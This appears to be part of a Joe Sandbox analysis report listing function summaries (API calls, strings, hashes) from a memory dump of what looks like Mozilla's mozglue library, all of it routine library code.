Instruction Fuzzy Hash: E6114C75701205AFDF20DF15CC4CE5A3B79EB8A35AF524229EA0592781DB319811CB65

Function 6C4E0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C50D9F0,00000000), ref: 6C4E0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C4E0F3C
__Init_thread_footer.LIBCMT ref: 6C4E0F50
FreeLibrary.KERNEL32(?,6C50D9F0,00000000), ref: 6C4E0F86

Strings

CoInitializeEx, xrefs: 6C4E0F36
combase.dll, xrefs: 6C4E0F18

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction ID: 5c17cb0f4842a5239aa8d0bed3f75784ee9aa877dd618baf9bf4494b4ac05709
Opcode Fuzzy Hash: 97015c26e983c54b75a468d06697f12f283c3fe1e0f0c08c86324733d312cd67
Instruction Fuzzy Hash: B811A0757052409BDF00DF98CD08F5E3774EB8A327F86432AE91592746DBB0A815CA5D

Function 6C51F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8
[I %d/%d] profiler_resume, xrefs: 6C51F239

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction ID: 17b7f23cbf35ed8d8333b605af5625767493b9381f77f5390d638f361b5bd773
Opcode Fuzzy Hash: ce1c635c472caa5eeaec2b657b2d8c7a59b73900633756042f45c123e447c976
Instruction Fuzzy Hash: 9CF05475704204DBEA007F659C4CA6A77BDFBC629DF860115EA05D3B02DB764C058769

Function 6C4E0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C4E0DF8), ref: 6C4E0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C4E0EA1
__Init_thread_footer.LIBCMT ref: 6C4E0EB5
FreeLibrary.KERNEL32 ref: 6C4E0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C4E0E9B
kernel32.dll, xrefs: 6C4E0E7D

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction ID: def99ec3fc9d00ef9490e1014e8f45dcf7e4c15eb715e0351a7535f1876f63b1
Opcode Fuzzy Hash: a0ad6d3b9844719f7bbf87b1abb074a63faa319c2cb650cf16196d4b91ba471f
Instruction Fuzzy Hash: D8014670B10281CFDF10DFECDC18E6237B5F74A31AF930626D91192B40DB74A814DA99

Function 6C51F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction ID: 4fdd023a7c535947fa8f0704f97fb4e28435d990396d102b77be27f56afaab36
Opcode Fuzzy Hash: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction Fuzzy Hash: A5F05E75304204EBEA007B659C4CA6A7BBDFBC62ADF860116EA0993B41DB764C058769

Function 6C5105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C50CFAE,?,?,?,6C4D31A7), ref: 6C5105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C50CFAE,?,?,?,6C4D31A7), ref: 6C510616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C4D31A7), ref: 6C51061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C4D31A7), ref: 6C510627

Strings

<jemalloc>, xrefs: 6C5105FA, 6C51060F
: (malloc) Error in VirtualFree(), xrefs: 6C51061B, 6C510625

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction ID: e13ed05e0959d9c1f2a691f66eaca58f59ca917d16927e3779ebc1580edd3c4c
Opcode Fuzzy Hash: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction Fuzzy Hash: 59E08CF2A0101037F514225AAC8ADBB761DDBC6238F080039FD0D82301EA4BBD1E51F6

Function 6C4E05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction ID: 3029ad988cb6f74fa14e2f475022cdb69106582de1aada9ba2cbaa68e931ccb0
Opcode Fuzzy Hash: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction Fuzzy Hash: 7FA148B0A00605CFDB14CF29C984E9AFBF1BF89305F45866ED45A97B00EB30A945CF90

Function 6C5314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5314E2
GetCurrentThreadId.KERNEL32 ref: 6C531546
InitializeConditionVariable.KERNEL32(?), ref: 6C5315BA
free.MOZGLUE(?), ref: 6C5316B4

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction ID: 46c7631fee0261bc19cc084fc37e4cc20f6840f106e69e9aab641973170204b9
Opcode Fuzzy Hash: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction Fuzzy Hash: 3C61DD72A00710DBDB119F24CC80BDBB7B0BF89308F45951CE98A57611EB34E949CB91

Function 6C529F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C529FDB
free.MOZGLUE(?,?), ref: 6C529FF0
free.MOZGLUE(?,?), ref: 6C52A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C52A0BE
free.MOZGLUE(?,?), ref: 6C52A0D5
free.MOZGLUE(?,?), ref: 6C52A0EB

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction ID: 293edd352da6dcb6ba2a3d1f966d905af0f125f71f5164cac49946a5c317af7b
Opcode Fuzzy Hash: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction Fuzzy Hash: 4E618E755086419FC711CF18C88099AB7F5FFC8328F54865DE8A99B742EB31E986CBC1

Function 6C52DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C52D38A,?), ref: 6C52DC6F
free.MOZGLUE(?,?,?,?,?,6C52D38A,?), ref: 6C52DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C52D38A,?), ref: 6C52DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C52D38A,?), ref: 6C52DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C52D38A,?), ref: 6C52DD4A

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
Instruction ID: 526b124f5fac37a7ed760cea7cf9b11127322570b4d9416af6fec7c641cd10b3
Opcode Fuzzy Hash: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
Instruction Fuzzy Hash: 154169B5A00605CFCB04CFA9C884A9ABBF6FF88314B554569D946ABB50D735FC00CB90

Function 6C52C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C52C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C52C842

Part of subcall function 6C52CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C54B5EB,00000000), ref: 6C52CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C52C863
std::_Facet_Register.LIBCPMT ref: 6C52C875

Part of subcall function 6C50B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C54B636,?), ref: 6C50B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C52C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52C8BC

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction ID: 4f21f01d946af3d6a6d9ec76b2d93ff4968205e560a4f3b5376441739d1ddb33
Opcode Fuzzy Hash: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction Fuzzy Hash: 16116375B002059BDB00EFA4CCC99AE7BB5EF89354B510529E50697381DB34AD05CB95

Function 6C50F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C50F480

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

CloseHandle.KERNEL32(00000000), ref: 6C50F555

Part of subcall function 6C4E14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C4E1248,6C4E1248,?), ref: 6C4E14C9
Part of subcall function 6C4E14B0: memcpy.VCRUNTIME140(?,6C4E1248,00000000,?,6C4E1248,?), ref: 6C4E14EF

Part of subcall function 6C4DEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C4DEEE3

CreateFileW.KERNEL32 ref: 6C50F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C50F523

Strings

\oleacc.dll, xrefs: 6C50F4CB

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction ID: f798696a4fc2edf70b3a1a4c16497283fa4c4f933fbf445278901920f5fddf6c
Opcode Fuzzy Hash: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction Fuzzy Hash: 07418D307087109FE721DF68DC84A9AB7F4AF84318F504B1CF995C7651EB70E9498B96

Function 6C51E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E04F

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C51E057

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: d5061c0a5966246691690fe28512916b084b622bf8bb8238117af29b7deab1eb
Instruction ID: bf174e532cc778a8d5e57cda8e8fd2770b051bae2e51eae2d10092d3ab60d5c3
Opcode Fuzzy Hash: d5061c0a5966246691690fe28512916b084b622bf8bb8238117af29b7deab1eb
Instruction Fuzzy Hash: F321B078B051088FEF04EF65DC5CAAEB7B5AF89308F550418E80A97F40DB71AD09C7A5

Function 6C5374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C537526
__Init_thread_footer.LIBCMT ref: 6C537566
__Init_thread_footer.LIBCMT ref: 6C537597

Strings

kernel32.dll, xrefs: 6C537557
UnmapViewOfFile2, xrefs: 6C537552

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction ID: 745b18a93b2359c97e875a0c83a31b0e8d79962d6e49d3f1a8149276466aeec5
Opcode Fuzzy Hash: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction Fuzzy Hash: 99212831F00511EFDB18CFE98D14E5E3775EB863A4B86162AD40987F80E730B8118569

Function 6C53A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55F770,-00000001,?,6C54E330,?,6C4FBDF7), ref: 6C53A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C4FBDF7), ref: 6C53A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C4FBDF7), ref: 6C53A7E4
LeaveCriticalSection.KERNEL32(6C55F770), ref: 6C53A80A

Strings

accelerator.dll, xrefs: 6C53A7BF

Memory Dump Source

Source File: 00000000.00000002.2618484951.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2618465277.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618534099.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618593883.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2618781596.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction ID: 956dd84789e32b0ffdd92004aa83c49fec7b2ee7a6c631b5437086f001d161c4
Opcode Fuzzy Hash: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction Fuzzy Hash: FE018FB07102149F9F08DF99DCC8D157BB8FB89315746816AE8098B712EB70A804CBA0

Function 6C5375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53748B,?), ref: 6C5375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5375D7
FreeLibrary.KERNEL32(?,6C53748B,?), ref: 6C5375EC

Strings

RtlNtStatusToDosError, xrefs: 6C5375D1
